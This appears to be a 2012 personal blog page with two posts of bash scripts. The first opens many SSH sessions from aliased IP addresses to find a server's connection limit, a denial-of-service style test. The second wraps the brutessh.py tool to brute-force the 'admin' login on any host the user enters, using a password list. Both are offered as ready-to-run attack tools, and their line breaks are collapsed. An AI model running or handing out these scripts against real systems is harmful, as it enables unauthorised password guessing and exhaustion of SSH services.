Friday, February 24, 2012
Thursday, February 16, 2012
如何測試SSH Server可接受的未經授權的最大連線數?
寫了一個簡單的script如下,去做測試然而目前只支援Class C,可以改善的空間應該還不少。
#!/bin/bash# Bind IPread -p "Which interface? [eth0]: " INTERFACEread -p "Net address: [10.10.10] " NETIPread -p "Min IP address: [1] " MiIPread -p "Max IP address:[254] " MaIPfor((i="$MiIP";i<="$MaIP";i++))doip addr add "$NETIP"."$i"/24 dev $INTERFACE 1>/dev/null 2>1doneecho ""# Start to testread -p "Target: [10.10.10.10] " TARGETi=$MiIPnum=1echo ""echo "Preparing for test target: $TARGET"sleep 5while true;dossh admin@$TARGET -o StrictHostKeyChecking=no -b "$NETIP"."$i" 1>/dev/null 2>1 &sleep 1netstat -an | grep 22 | grep ESTABLISHED | grep "\<$NETIP"."$i\>"if [ `echo $?` -ne 0 ]; thennum=$(($num-1))echo "The maximum SSH session of $TARGET is $num"kill `ps aux | grep "\<22\>" | grep -v grep | grep -v ssh-agent | awk -F" " '{print $2}'` > /dev/null breakelseecho "SSH session number $num is established!"i=$(($i+1))num=$(($num+1))fidoneexit
Wednesday, February 15, 2012
SSH Brute Force attack tools
Here it is: http://zeldor.biz/2011/01/how-to-bruteforce-ssh/
And I'v wrote a bash script to make it more easy to use as following:
1 #!/bin/bash23 read -p "Please enter your target host: " HOST4 echo "Enter run to launch SSH Brute Force Attack, or exit to leave it."56 echo -n "[run/exit]? "7 while read LINE;8 do9 if [ $LINE = "run" ]; then10 clear11 python /root/bin/brutessh/brutessh.py -h $HOST -u admin -d /root/bin/brutessh/passlist.txt &12 sleep 1013 echo -n "***** Enter exit can stop SSH Brute Force attack immediately or rerun it again. ***** [run/exit]? "14 continue15 elif [ $LINE = "exit" ]; then16 kill `ps aux | grep brutessh.py | grep -v grep |awk -F" " '{ print $2 }'` 2> /dev/null17 break18 fi19 done
Please to adjust /root/bin/brutessh/ above to work with your environment.
Thanks to Igor Drobot (http://zeldor.biz/about/ blog author) and laramies (brutessh author).
Subscribe to:
Posts (Atom)